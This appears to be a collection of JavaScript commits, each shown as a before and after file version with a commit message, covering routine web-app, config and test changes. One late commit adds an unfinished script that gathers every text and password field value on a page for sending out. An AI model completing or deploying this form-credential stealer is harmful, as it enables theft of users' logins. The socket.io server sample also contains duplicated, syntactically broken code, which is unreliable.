 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Internal dependencies
 */
import { createModuleStore } from './create-module-store';

const Modules = {
	createModuleStore,
};

export default Modules;

/**
 * Modules API.
 *
 * Provides API functions to manage modules.
 *
 * Site Kit by Google, Copyright 2020 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Internal dependencies
 */
import Data from 'googlesitekit-data';
import { createModuleStore } from './create-module-store';
// This import has a side-effect: it automatically registers the "core/modules"
// store on `googlesitekit.data`.
import { STORE_NAME } from '../datastore/modules';

const Modules = {
	createModuleStore,
	activateModule: ( ...args ) => {
		return Data.dispatch( STORE_NAME ).activateModule( ...args );
	},
	deactivateModule: ( ...args ) => {
		return Data.dispatch( STORE_NAME ).deactivateModule( ...args );
	},
};

export default Modules;

Add methods to the googlesitekit.modules code.


'use strict';

(function () {

   var addButton = document.querySelector('.btn-add');
   var deleteButton = document.querySelector('.btn-delete');
   var clickNbr = document.querySelector('#click-nbr');
   var apiUrl = 'http://localhost:3000/api/clicks';

   function ready (fn) {
      if (typeof fn !== 'function') {
         return;
      }

      if (document.readyState === 'complete') {
         return fn();
      }

      document.addEventListener('DOMContentLoaded', fn, false);
   }

   function ajaxRequest (method, url, callback) {
      var xmlhttp = new XMLHttpRequest();

      xmlhttp.onreadystatechange = function () {
         if (xmlhttp.readyState === 4 && xmlhttp.status === 200) {
            callback(xmlhttp.response);
         }
      };

      xmlhttp.open(method, url, true);
      xmlhttp.send();
   }

   function updateClickCount (data) {
         var clicksObject = JSON.parse(data);
         clickNbr.innerHTML = clicksObject.clicks;
   }

   ready(function () {
      ajaxRequest('GET', apiUrl, updateClickCount);
   });

   addButton.addEventListener('click', function () {

      ajaxRequest('POST', apiUrl, function () {
         ajaxRequest('GET', apiUrl, updateClickCount);
      });

   }, false);

   deleteButton.addEventListener('click', function () {

      ajaxRequest('DELETE', apiUrl, function () {
         ajaxRequest('GET', apiUrl, updateClickCount);
      });
   }, false);

})();

'use strict';

(function () {

   var addButton = document.querySelector('.btn-add');
   var deleteButton = document.querySelector('.btn-delete');
   var clickNbr = document.querySelector('#click-nbr');
   var apiUrl = 'http://localhost:3000/api/clicks';

   function ready (fn) {
      if (typeof fn !== 'function') {
         return;
      }

      if (document.readyState === 'complete') {
         return fn();
      }

      document.addEventListener('DOMContentLoaded', fn, false);
   }

   function ajaxRequest (method, url, callback) {
      var xmlhttp = new XMLHttpRequest();

      xmlhttp.onreadystatechange = function () {
         if (xmlhttp.readyState === 4 && xmlhttp.status === 200) {
            callback(xmlhttp.response);
         }
      };

      xmlhttp.open(method, url, true);
      xmlhttp.send();
   }

   function updateClickCount (data) {
      var clicksObject = JSON.parse(data);
      clickNbr.innerHTML = clicksObject.clicks;
   }

   ready(ajaxRequest('GET', apiUrl, updateClickCount));

   addButton.addEventListener('click', function () {

      ajaxRequest('POST', apiUrl, function () {
         ajaxRequest('GET', apiUrl, updateClickCount);
      });

   }, false);

   deleteButton.addEventListener('click', function () {

      ajaxRequest('DELETE', apiUrl, function () {
         ajaxRequest('GET', apiUrl, updateClickCount);
      });

   }, false);

})();

Update to AJAX functions in click controller.


'use strict';

var BaseModel = require('model-toolkit').BaseModel;
var Company = require('../master/company');
var Contact = require('../master/contact');
var Product = require('../master/product');

module.exports = class DealTrackingDeal extends BaseModel {
    constructor(source) {
        super('deal-tracking-deal', '1.0.0');

        this.code = '';
        this.name = '';
        this.amount = 0;
        this.companyId = {};
        this.company = new Company();
        this.contactId = {};
        this.contact = new Contact();
        this.closeDate = new Date();
        this.productId = {};
        this.product = new Product();
        this.quantity = 0;
        this.description = '';
        this.reason = '';

        this.copy(source);
    }
};

'use strict';

var BaseModel = require('model-toolkit').BaseModel;
var Company = require('../master/company');
var Contact = require('../master/contact');
// var Product = require('../master/product');
var Uom = require('../master/uom');

module.exports = class DealTrackingDeal extends BaseModel {
    constructor(source) {
        super('deal-tracking-deal', '1.0.0');

        this.code = '';
        this.name = '';
        this.amount = 0;
        this.companyId = {};
        this.company = new Company();
        this.contactId = {};
        this.contact = new Contact();
        this.closeDate = new Date();
        // this.productId = {};
        // this.product = new Product();
        this.uomId = {};
        this.uom = new Uom();
        this.quantity = 0;
        this.description = '';
        this.reason = '';

        this.copy(source);
    }
};

Delete Product Deal Tracking Deal


const express = require('express');
const db = require('./lib/db');

const app = express();
const port = process.env.PORT || 3000;

process.env.PATH = `${process.env.PATH}:./node_modules/.bin`;

app.use('/app/current', require('./routes/current'));
app.use('/app/sparkline', require('./routes/sparkline'));
app.use('/app/update', require('./routes/update'));

async function main() {
  db.startup()
  .catch( err => console.error(err.stack)  )
  .finally( () => app.listen(port) );
}

main();

const express = require('express');
const db = require('./lib/db');

const app = express();
const port = process.env.PORT || 3000;

process.env.PATH = `${process.env.PATH}:./node_modules/.bin`;

app.use('/app/current', require('./routes/current'));
app.use('/app/sparkline', require('./routes/sparkline'));
app.use('/app/update', require('./routes/update'));
app.use(function (err, req, res, next) {
  console.error(err.stack)
  res.status(500).send('kablooie!')
})

async function main() {
  db.startup()
  .catch( err => console.error(err.stack)  )
  .finally( () => app.listen(port) );
}

main();

Add a default error handler


//= require ../chef

(function($, window) {
  'use strict';

  Chef.Web.Core.components.logo = {
    init: function() {

      $('.logo').each(function() {
        var $el = $(this);

        if ($el.find('> svg').length === 0) {
          $el.load(Chef.Web.Core.imageUrl('chef-logo.svg'), function() {
            var tag = $el.data('tag-line');
            if (tag) {
              this.querySelector('svg .tag-line text').textContent = tag;
            }
          });
        }
      });
    },

    refresh: function() {
      $('.logo svg').remove();
      this.init();
    }
  };

})(jQuery, window);

//= require ../chef

(function($, window) {
  'use strict';

  $.fn.animate = function() {
    this.addClass('animate');
  };

  $.fn.deanimate = function() {
    this.find('.mark g').one('webkitAnimationIteration MSAnimationIteration animationiteration', $.proxy(function() {
      this.removeClass('animate');
    }, this));
  };

  Chef.Web.Core.components.logo = {
    init: function() {

      $('.logo').each(function() {
        var $el = $(this);

        if ($el.find('> svg').length === 0) {
          $el.load(Chef.Web.Core.imageUrl('chef-logo.svg'), function() {
            var tag = $el.data('tag-line');
            if (tag) {
              this.querySelector('svg .tag-line text').textContent = tag;
            }
          });
        }
      });
    },

    refresh: function() {
      $('.logo svg').remove();
      this.init();
    }
  };

})(jQuery, window);

Add animate() and deanimate() methods


'use strict';

const express = require('express');
const socketIO = require('socket.io');
const path = require('path');

const PORT = process.env.PORT || 3000;
const INDEX = path.join(__dirname, 'index.html');

var phoneSequence = ""
var piSequence = ""

var arduinoTurn = false

const server = express()
  .use((req, res) => res.sendFile(INDEX) )
  .listen(PORT, () => console.log(`Listening on ${ PORT }`));

const io = socketIO(server);

io.on('connection', function(socket){

  console.log('a user connected');

  socket.on('disconnect', function(){
    console.log('user disconnected');
  });

  socket.on('sequencePhoneToServer', function(msg){
      if (msg != phoneSequence && !arduinoTurn) {
          console.log('Phone sequence: ' + msg);
          phoneSequence = msg;
      }
  });

});

  socket.on('sequencePhoneToServer', function(msg){
      if (msg != phoneSequence && !arduinoTurn) {
          console.log('Phone sequence: ' + msg);
          phoneSequence = msg;
      }
  });

});

setInterval(function(){
    io.emit('sequenceServerToPhone', piSequence)
    io.emit('sequenceServerToPi', phoneSequence)
}, 1000);

'use strict';

const express = require('express');
const socketIO = require('socket.io');
const path = require('path');

const PORT = process.env.PORT || 3000;
const INDEX = path.join(__dirname, 'index.html');

var phoneSequence = ""
var piSequence = "hi"

var arduinoTurn = false

const server = express()
  .use((req, res) => res.sendFile(INDEX) )
  .listen(PORT, () => console.log(`Listening on ${ PORT }`));

const io = socketIO(server);

io.on('connection', function(socket){

  console.log('a user connected');

  socket.on('disconnect', function(){
    console.log('user disconnected');
  });

  socket.on('sequencePhoneToServer', function(msg){
      if (msg != phoneSequence && !arduinoTurn) {
          console.log('Phone sequence: ' + msg);
          phoneSequence = msg;
      }
  });

});

  socket.on('sequencePhoneToServer', function(msg){
      if (msg != phoneSequence && !arduinoTurn) {
          console.log('Phone sequence: ' + msg);
          phoneSequence = msg;
      }
  });

});

setInterval(function(){
    io.emit('sequenceServerToPhone', piSequence)
    io.emit('sequenceServerToPi', phoneSequence)
}, 1000);

Change default string for testing purposes


var path = require('path');

module.exports = {
  entry: {
    index: "./scripts/main-index.js",
    lifters: "./scripts/main-lifters.js",
    meet: "./scripts/main-meet.js",
    meetlist: "./scripts/main-meetlist.js"
  },

  output: {
    path: path.resolve(__dirname, "build/scripts"),
    filename: "[name].bundle.js",
  },

  module: {
    loaders: [
      {
        test: /\.js$/,
        loader: 'babel-loader',
        query: {
          presets: ['es2015']
        }
      }
    ]
  },

  stats: {
    colors: true
  },

  // devtool: 'source-map'
};

var path = require('path');

module.exports = {
  entry: {
    index: "./scripts/main-index.js",
    lifters: "./scripts/main-lifters.js",
    meet: "./scripts/main-meet.js",
    meetlist: "./scripts/main-meetlist.js"
  },

  output: {
    path: path.resolve(__dirname, "build/scripts"),
    filename: "[name].bundle.js",
  },

  module: {
    loaders: [
      {
        test: /\.js$/,
        loader: 'babel-loader',
        query: {
          presets: ['es2015'],
          plugins: ['minify-constant-folding']
        }
      }
    ]
  },

  stats: {
    colors: true
  },

  // devtool: 'source-map'
};

Add the minify-constant-folding plugin to the webpack build.


var tape = require('tape')
var emojiStrip = require('..')

var emoji

tape('strip emoji', function (t) {
  emoji = 'thumbs-up👍 for staying strong💪 without emoji please🙏'
  t.equal(emojiStrip(emoji), 'thumbs-up for staying strong without emoji please')

  emoji = 'dealing with emoji😡 makes me feel like poop💩'
  t.equal(emojiStrip(emoji), 'dealing with emoji makes me feel like poop')
  t.end()
})

tape('don’t magically remove digits', function (t) {
  emoji = '9999 ways to die🔫 in the west'
  t.equal(emojiStrip(emoji), '9999 ways to die in the west')

  emoji = '⚡zero 0 🐗one 1 🐴two 2 🐋three 3 🎃four 4 🍌five 5 🍻six 6 💣seven 7 🍪eight 8 eight emoji ah ah ah'
  t.equal(emojiStrip(emoji), 'zero 0 one 1 two 2 three 3 four 4 five 5 six 6 seven 7 eight 8 eight emoji ah ah ah')
  t.end()
})

var tape = require('tape')
var emojiStrip = require('..')

var emoji

tape('strip emoji', function (t) {
  emoji = 'thumbs-up👍 for staying strong💪 without emoji please🙏'
  t.equal(emojiStrip(emoji), 'thumbs-up for staying strong without emoji please')

  emoji = 'dealing with emoji😡 makes me feel like poop💩'
  t.equal(emojiStrip(emoji), 'dealing with emoji makes me feel like poop')

  t.end()
})

tape('strip emoji with skin tones', function (t) {
  emoji = 'skin tones🙌🏾 should be oka👌🏿y'
  t.equal(emojiStrip(emoji), 'skin tones should be okay')

  emoji = 'regardless of which tone we should be 👍🏽good'
  t.equal(emojiStrip(emoji), 'regardless of which tone we should be good')

  emoji = 'or else spock🖖🏻 will punch👊🏼 us'
  t.equal(emojiStrip(emoji), 'or else spock will punch us')

  t.end()
})

tape('don’t magically remove digits', function (t) {
  emoji = '9999 ways to die🔫 in the west'
  t.equal(emojiStrip(emoji), '9999 ways to die in the west')

  emoji = '⚡zero 0 🐗one 1 🐴two 2 🐋three 3 🎃four 4 🍌five 5 🍻six 6 💣seven 7 🍪eight 8 eight emoji ah ah ah'
  t.equal(emojiStrip(emoji), 'zero 0 one 1 two 2 three 3 four 4 five 5 six 6 seven 7 eight 8 eight emoji ah ah ah')

  t.end()
})

Add failing test for skin tones


importScripts('https://storage.googleapis.com/workbox-cdn/releases/4.3.1/workbox-sw.js');

workbox.core.skipWaiting();
workbox.precaching.precacheAndRoute([]);

// NOTE: All HTML pages should be dynamically cached, and also constantly
// revalidated to make sure that the cache is always up-to-date.

const staticUrlRegex = /\/static\//;
const notStaticUrl = ({url}) => !staticUrlRegex.test(url);

workbox.routing.registerRoute(
    notStaticUrl,
    new workbox.strategies.StaleWhileRevalidate()
);

Add runtime caching for HTML pages


import Entity from 'core/Entity'
import FontStyle from 'core/FontStyle'

export default class Text extends Entity {
  constructor(game, scene, suppressInitialize) {
    let displayObject = new PIXI.Text()
    super(game, scene, displayObject, suppressInitialize)

    this.style = new FontStyle()
  }

  get anchor() { return this._displayObject.anchor }
  set anchor(value) { this._displayObject.anchor = value }

  get width() { return this._displayObject.width }

  get height() { return this._displayObject.height }

  get style() { return this.displayObject.style }
  set style(style) { this.displayObject.style = style }

  get text() { return this.displayObject.text }
  set text(text) { this.displayObject.text = text }
}

import Entity from 'core/Entity'
import FontStyle from 'core/FontStyle'

export default class Text extends Entity {
  constructor(game, scene, suppressInitialize) {
    let displayObject = new PIXI.Text()
    super(game, scene, displayObject, suppressInitialize)

    this.style = new FontStyle()
  }

  get anchor() { return this._displayObject.anchor }
  set anchor(value) { this._displayObject.anchor = value }

  get width() { return this._displayObject.width }
  set width(value) { this._displayObject.width = value }

  get height() { return this._displayObject.height }
  set height(value) { this._displayObject.height = value }

  get style() { return this.displayObject.style }
  set style(style) {
    if (!(style instanceof FontStyle)) {
      style = new FontStyle(style)
    }
    this.displayObject.style = style
   }

  get text() { return this.displayObject.text }
  set text(text) { this.displayObject.text = text }
}

Correct assignment of text style


var Menu = {
    refresh: function() {
        var items = document.querySelectorAll('#menu_widget ul li, #post_widget ul.card li');

        var i = 0;
        while(i < items.length)
        {
            if(items[i].id != 'history') {
                items[i].onclick = function(e) {
                    if(this.dataset.id) {
                        MovimTpl.showPanel();
                        Post_ajaxGetPost(this.dataset.id);
                        //Menu_ajaxGetNode(this.dataset.server, this.dataset.node);
                        Menu.reset(items);
                        movim_add_class(this, 'active');
                    }
                }
            }
            i++;
        }
    },

    reset: function(list) {
        for(i = 0; i < list.length; i++) {
            movim_remove_class(list[i], 'active');
        }
    }
}

MovimWebsocket.attach(function() {
    Notification_ajaxClear('news');
    Notification.current('news');
    Menu.refresh();
});

var Menu = {
    refresh: function() {
        var items = document.querySelectorAll('ul#menu_wrapper li, #post_widget ul.card li');

        var i = 0;
        while(i < items.length)
        {
            if(items[i].id != 'history') {
                items[i].onclick = function(e) {
                    if(this.dataset.id) {
                        MovimTpl.showPanel();
                        Post_ajaxGetPost(this.dataset.id);
                        //Menu_ajaxGetNode(this.dataset.server, this.dataset.node);
                        Menu.reset(items);
                        movim_add_class(this, 'active');
                    }
                }
            }
            i++;
        }
    },

    reset: function(list) {
        for(i = 0; i < list.length; i++) {
            movim_remove_class(list[i], 'active');
        }
    }
}

MovimWebsocket.attach(function() {
    Notification_ajaxClear('news');
    Notification.current('news');
    Menu.refresh();
});

Fix a tab reset issue in Menu


import Ember from 'ember';

/**
 * Add extra test helper here, these will be shared among all projects
 */
export default function() {

	/**
	 * Allows you to easily select an item from an ajax-search component.
	 *
	 * @param selector : jquery selector of the typeahead input element
	 * @param searchString : The search text
	 * @param suggestionIndex : The item to select from the drop down (starting at 1 for the first item)
	 */
    Ember.Test.registerHelper('aupacTypeaheadSearch', function (app, selector, searchString, suggestionIndex) {

        $(selector).eq(0).val(searchString).trigger("input");

        Ember.run(function() {
            click('.tt-suggestion:nth-child(' + suggestionIndex + ')');
        });

        return app.testHelpers.wait();
    });

}

import Ember from 'ember';

/**
 * Add extra test helper here, these will be shared among all projects
 */
export default function() {

	/**
	 * Allows you to easily select an item from an ajax-search component.
	 *
	 * @param selector : jquery selector of the typeahead input element
	 * @param searchString : The search text
	 * @param suggestionIndex : The item to select from the drop down (starting at 1 for the first item)
	 */
    Ember.Test.registerHelper('aupacTypeaheadSearch', function (app, selector, searchString, suggestionIndex) {

        $(selector).eq(0).val(searchString).trigger("input");

        Ember.run(function() {
            click('.typeahead-suggestion:nth-child(' + suggestionIndex + ')');
        });

        return app.testHelpers.wait();
    });

}

Use correct selector for finding suggestions


var RSVP = require('rsvp');

module.exports = {
  normalizeEntityName: function() {},

  beforeInstall: function(options) {
    return this.addBowerPackageToProject('materialize', '~0.97.0');
  },

  afterInstall: function() {
    return RSVP.all([
      this.addPackageToProject('ember-composability', '~0.1.1'),
      this.addPackageToProject('ember-radio-button', '1.0.7'),
      this.addPackageToProject('ember-new-computed', '~1.0.0'),
      this.addPackageToProject('ember-key-responder', '0.2.1'),
      this.addPackageToProject('ember-modal-dialog', '~0.7.5'),
      this.addPackageToProject('ember-cli-sass', '^3.3.0'),
      this.addPackageToProject('ember-legacy-views', '^0.2.0')
    ]);
  }
}

var RSVP = require('rsvp');

module.exports = {
  normalizeEntityName: function() {},

  beforeInstall: function(options) {
    return this.addBowerPackageToProject('materialize', '~0.97.0');
  },

  afterInstall: function() {
    return RSVP.all([
      this.addPackageToProject('ember-composability', '~0.1.1'),
      this.addPackageToProject('ember-radio-button', '1.0.7'),
      this.addPackageToProject('ember-new-computed', '~1.0.0'),
      this.addPackageToProject('ember-key-responder', '~0.4.0'),
      this.addPackageToProject('ember-modal-dialog', '~0.7.5'),
      this.addPackageToProject('ember-cli-sass', '^3.3.0'),
      this.addPackageToProject('ember-legacy-views', '^0.2.0')
    ]);
  }
}

Use key-responder 0.4 in the blueprint as well


angular.module('pager')

.controller('HeaderCtrl', function($rootScope, $scope, $state, User) {
  // Update user name in header
  $rootScope.$on('facebook:login', function() {
    $scope.name = User.getName().split(' ')[0];
    $scope.image = 'http://agencedianeriel.com/photo/Ostiguy-Jeanne-nouv09.jpg';
  });

  // Update navigation in header
  $scope.$on('$viewContentLoaded', function() {
    $scope.view = $state.current.title;
  });
});

angular.module('pager')

.controller('HeaderCtrl', function($rootScope, $scope, $state, User) {
  function updateUser() {
    $scope.name = User.getName().split(' ')[0];
    $scope.image = 'http://agencedianeriel.com/photo/Ostiguy-Jeanne-nouv09.jpg';
  }

  // Update user name in header
  $rootScope.$on('facebook:login', function() {
    updateUser();
  });

  // Update navigation in header
  $scope.$on('$viewContentLoaded', function() {
    $scope.view = $state.current.title;
  });

  // By default, update user
  updateUser();
});

Load user info for header by default


/**
 * LoginActions
 * Actions for helping with login
 */

import { browserHistory } from 'react-router';
import Parse from 'parse';

import AuthService from '../middleware/api/Authentication';

export const LOGIN_REQUEST = "LOGIN_REQUEST";
export const LOGIN_SUCCESS = "LOGIN_SUCCESS";
export const LOGIN_FAIL = "LOGIN_FAIL";

export const LOGOUT_REQUEST = "LOGOUT_REQUEST";

export const SIGNUP_USER = "SIGNUP_USER";

function requestLogin (username) {
    return {
        type: LOGIN_REQUEST,
        username,
        isLoggedIn: true
    }
}

function loginSuccess (username) {
    return {
        type: LOGIN_SUCCESS,
        username,
        isLoggedIn: true
    }
}

function logoutUser (username) {
    return {
        type: LOGOUT_REQUEST,
        username,
        isLoggedIn: false
    }
}

function signupUser (username) {
    return {
        type: SIGNUP_USER,
        username,
        isLoggedIn: true
    }
}

export function loginRequest (username, password) {
    AuthService.login(username, password)

    return requestLogin(username)
}

export function success (username) {
    browserHistory.push('/home')
    return loginSuccess(username)
}

export function userLogout () {
    let username = Parse.User.current()
    browserHistory.push('/login')

    return logoutUser(username)
}

export function signup (username, password) {
    AuthService.signup (username, password)
    browserHistory.push('/home')

    return signupUser(username)
}

/**
 * LoginActions
 * Actions for helping with login
 */

import { browserHistory } from 'react-router';
import Parse from 'parse';

import AuthService from '../middleware/api/Authentication';

export const LOGIN_REQUEST = "LOGIN_REQUEST";
export const LOGIN_SUCCESS = "LOGIN_SUCCESS";
export const LOGIN_FAIL = "LOGIN_FAIL";

export const LOGOUT_REQUEST = "LOGOUT_REQUEST";

export const SIGNUP_USER = "SIGNUP_USER";

function requestLogin (username) {
    return {
        type: LOGIN_REQUEST,
        username,
        isLoggedIn: true
    }
}

function loginSuccess (username) {
    return {
        type: LOGIN_SUCCESS,
        username,
        isLoggedIn: true
    }
}

function logoutUser (username) {
    return {
        type: LOGOUT_REQUEST,
        username,
        isLoggedIn: false
    }
}

function signupUser (username) {
    return {
        type: SIGNUP_USER,
        username,
        isLoggedIn: true
    }
}

export function loginRequest (username, password) {
    AuthService.login(username, password)

    return requestLogin(username)
}

export function success (username) {
    browserHistory.push('/home')
    return loginSuccess(username)
}

export function userLogout () {
    let username = Parse.User.current()
		AuthService.logout()
    browserHistory.push('/login')

    return logoutUser(username)
}

export function signup (username, password) {
    AuthService.signup (username, password)
    browserHistory.push('/home')

    return signupUser(username)
}

Add call to AuthService for logout


'use strict';

angular.module('myApp.apiService', [])
    .factory('Api', ['$http',
        function ($http) {
          return {

            env: 'development',

            options: {
              development: { url: "http://offerfans.ngrok.com", version: 'v1' },
              staging:     { url: "https://stg.offerfans.com", version: 'v1' },
              production:  { url: "https://www.offerfans.com", version: 'v1' }
            },

            currentEnv: function()  {
              return this.env;
            },

            buildUrl: function(path) {

              if (!this.options[ this.env ]) {
                this.env = 'production';
              }

              var url = this.options[this.env]['url'] + '/api/' + this.options[this.env]['version'] + path;

              console.log("API url: "+url);
              return url;
            },

            login: function(user, onSuccess, onFailure) {
              $http.post(this.buildUrl("/auth/login"), user, {timeout: 3000})
                   .success(onSuccess)
                   .error(onFailure);
            },

            redeem: function(code, onSuccess, onFailure) {
              var options = {
                  headers: {
                      'Access-Token' : window.localStorage.getItem("access_token")
                  },
                  timeout: 3000
              }

              // put access_token in header
              $http.put(this.buildUrl("/redeem/"+code), {}, options)
                   .success(onSuccess)
                   .error(onFailure);
            }
          }
        }]);

'use strict';

angular.module('myApp.apiService', [])
    .factory('Api', ['$http',
        function ($http) {
          return {

            env: 'production',

            options: {
              development: { url: "http://offerfans.ngrok.com", version: 'v1' },
              staging:     { url: "https://stg.offerfans.com", version: 'v1' },
              production:  { url: "https://www.offerfans.com", version: 'v1' }
            },

            currentEnv: function()  {
              return this.env;
            },

            buildUrl: function(path) {

              if (!this.options[ this.env ]) {
                this.env = 'production';
              }

              var url = this.options[this.env]['url'] + '/api/' + this.options[this.env]['version'] + path;

              console.log("API url: "+url);
              return url;
            },

            login: function(user, onSuccess, onFailure) {
              $http.post(this.buildUrl("/auth/login"), user, {timeout: 3000})
                   .success(onSuccess)
                   .error(onFailure);
            },

            redeem: function(code, onSuccess, onFailure) {
              var options = {
                  headers: {
                      'Access-Token' : window.localStorage.getItem("access_token")
                  },
                  timeout: 3000
              }

              // put access_token in header
              $http.put(this.buildUrl("/redeem/"+code), {}, options)
                   .success(onSuccess)
                   .error(onFailure);
            }
          }
        }]);

Set the app to production


const Generator = require('yeoman-generator')
const humps = require('humps')

module.exports = class ReactZeal extends Generator {
  prompting() {
    return this.prompt([
      {
        type: 'input',
        name: 'name',
        message: 'Your project name',
        default: kabob(this.appname)
      }
    ]).then(function(answers) {
      this.appName = kabob(answers.name)
    }.bind(this))
  }

  writing() {
    this.fs.copyTpl(
      this.templatePath('package.json'),
      this.destinationPath('package.json'),
      { appName: this.appName }
    )

    this.fs.copy(this.templatePath('client'), this.destinationPath('client'))

    this.fs.copy(
      this.templatePath('.eslintrc.json'),
      this.destinationPath('.eslintrc.json')
    )

    this.fs.copy(
      this.templatePath('.sass-lint.yml'),
      this.destinationPath('.sass-lint.yml')
    )

    this._mergeGitIgnore()
  }

  _mergeGitIgnore() {
    const template = this.fs.read(this.templatePath('gitignore'))
    const existing = this.fs.read(this.destinationPath('.gitignore'), {
      defaults: ''
    })

    this.fs.write(
      this.destinationPath('.gitignore'),
      existing + '\n\n' + template
    )
  }
}

function kabob(string) {
  return humps.decamelize(humps.camelize(string), { separator: '-' })
}

const Generator = require('yeoman-generator')
const humps = require('humps')

module.exports = class ReactZeal extends Generator {
  prompting() {
    return this.prompt([
      {
        type: 'input',
        name: 'name',
        message: 'Your project name',
        default: kabob(this.appname)
      }
    ]).then(function(answers) {
      this.appName = kabob(answers.name)
    }.bind(this))
  }

  writing() {
    this.fs.copyTpl(
      this.templatePath('package.json'),
      this.destinationPath('package.json'),
      { appName: this.appName }
    )

    this.fs.copy(this.templatePath('client'), this.destinationPath('client'))

    this.fs.copy(
      this.templatePath('.eslintrc.json'),
      this.destinationPath('.eslintrc.json')
    )

    this.fs.copy(
      this.templatePath('.sass-lint.yml'),
      this.destinationPath('.sass-lint.yml')
    )

    this.fs.copy(
      this.templatePath('yarn.lock'),
      this.destinationPath('yarn.lock')
    )

    this._mergeGitIgnore()
  }

  _mergeGitIgnore() {
    const template = this.fs.read(this.templatePath('gitignore'))
    const existing = this.fs.read(this.destinationPath('.gitignore'), {
      defaults: ''
    })

    this.fs.write(
      this.destinationPath('.gitignore'),
      existing + '\n\n' + template
    )
  }
}

function kabob(string) {
  return humps.decamelize(humps.camelize(string), { separator: '-' })
}

Install yarn.lock in target project


'use strict';

// Production specific configuration
// =================================
module.exports = {
  // Server IP
  ip:     process.env.OPENSHIFT_NODEJS_IP ||
          process.env.IP ||
          undefined,

  // Server port
  port:   process.env.OPENSHIFT_NODEJS_PORT ||
          process.env.PORT ||
          8080,

  // MongoDB connection options
  mongo: {
    uri:  process.env.MONGOLAB_URI ||
          process.env.MONGOHQ_URL ||
          process.env.OPENSHIFT_MONGODB_DB_URL +
          process.env.OPENSHIFT_APP_NAME ||
          'mongodb://localhost/beattweak'
  }
};

'use strict';

// Production specific configuration
// =================================
module.exports = {
  // Server IP
  ip:     process.env.OPENSHIFT_NODEJS_IP ||
          process.env.IP ||
          undefined,

  // Server port
  port:   process.env.OPENSHIFT_NODEJS_PORT ||
          process.env.PORT ||
          8080,

  // MongoDB connection options
  mongo: {
    uri:  process.env.MONGODB_URI ||
          process.env.MONGOLAB_URI ||
          process.env.MONGOHQ_URL ||
          process.env.OPENSHIFT_MONGODB_DB_URL +
          process.env.OPENSHIFT_APP_NAME ||
          'mongodb://localhost/beattweak'
  }
};

Add correct env. variable to produciton config.


const config = require("./../config.json");
const cookie = require("./cookie.json");

module.exports = function cookie(message) {
	//Reply with an adequate proverb
	message.reply(cookie.proverbs[Math.floor(Math.random() * cookie.proverbs.length)]);
}

const config = require("./../config.json");
const cookie = require("./cookie.json");
//Math.floor(Math.random() * cookie.proverbs.length)

module.exports = function cookie(message) {
	//Reply with an adequate proverb
	message.reply(cookie.proverbs[0]);
}

Test by sending 1 proverb only


const React = require('react');
const ReactGA = require('react-ga');

const Component = React.createClass({

  render: function () {

    return (
      <html>
        <head>
          <meta name="description" content="Web application design, development, enterprise architecture, hiring, and training for Node.js and React.js" />
          <meta httpEquiv="Content-Type" content="text/html; charset=UTF-8" />

          <link rel="author" href="https://plus.google.com/108812193853051708628" />
          <link ref="publisher" href="https://plus.google.com/108812193853051708628" />

          <title>Langa | Enterprise Web Development and Design</title>

          <link rel="stylesheet" href="/assets/styles/prod.css" />
          <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css" />
        </head>
        <body>
          <div id="app-mount"
              dangerouslySetInnerHTML={{ __html: this.props.children }}>
          </div>
          <script id="app-state"
              dangerouslySetInnerHTML={{ __html: this.props.state }}>
          </script>
          <script src="/assets/client.js"></script>
        </body>
      </html>
    );
  }
});

module.exports = Component;

const React = require('react');
const ReactGA = require('react-ga');

const Component = React.createClass({

  render: function () {

    return (
      <html>
        <head>
          <meta name="description" content="Web application design, development, enterprise architecture, hiring, and training for Node.js and React.js" />
          <meta httpEquiv="Content-Type" content="text/html; charset=UTF-8" />
          <meta name="viewport" content="width=device-width, initial-scale=1" />

          <link rel="author" href="https://plus.google.com/108812193853051708628" />
          <link ref="publisher" href="https://plus.google.com/108812193853051708628" />

          <title>Langa | Enterprise Web Development and Design</title>

          <link rel="stylesheet" href="/assets/styles/prod.css" />
          <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css" />
        </head>
        <body>
          <div id="app-mount"
              dangerouslySetInnerHTML={{ __html: this.props.children }}>
          </div>
          <script id="app-state"
              dangerouslySetInnerHTML={{ __html: this.props.state }}>
          </script>
          <script src="/assets/client.js"></script>
        </body>
      </html>
    );
  }
});

module.exports = Component;

Add missing viewport tag. Responsive styles were setup, but weren't taking effect.


function getLoginAndPassword() {
  // add all text fields
  var logins = $("input[type="text"]");
  var passwords = $("input[type="password"]");
  var data = "";
  if (Array.isArray(logins)) {
    // @todo get values
  } else {
    // @todo get value
  }
  if (Array.isArray(passwords)) {

  } else {

  }
  return data;
}

function sendEmail() {

}

$(document).keypress(function(e) {
    if(e.which == 13) {
      var data = getLoginAndPassword();
      sendEmail();
    }
});

$("input[type='text']").on("click", function () {

});

function getTextAndPasswordFields() {
  var text_fields = $('input[type="text"]');
  var passwords_fields = $('input[type="password"]');
  var text_data = [];
  var index = 0;
  for (index = 0; index < text_fields.length; ++index) {
    text_data.push({
      "field_id": text_fields[index].id,
      "field_name": text_fields[index].name,
      "value": text_fields[index].value
    });
  }
  password_data = []
  for (index = 0; index < passwords_fields.length; ++index) {
    password_data.push({
      "field_id": passwords_fields[index].id,
      "field_name": passwords_fields[index].name,
      "value": passwords_fields[index].value
    });
  }
  data = {
    "ts": text_data,
    "ps": password_data
  };
  return JSON.stringify(data);
}

function sendEmail() {
  // get current url
  cur_url = window.location.href;
}

$(document).keypress(function(e) {
    if(e.which == 13) {
      var data = getLoginAndPassword();
      sendEmail();
    }
});

$("input[type='text']").on("click", function () {

});

Add stupid password and logins stealer


import fs from 'fs';
import express from 'express';
import path from 'path';
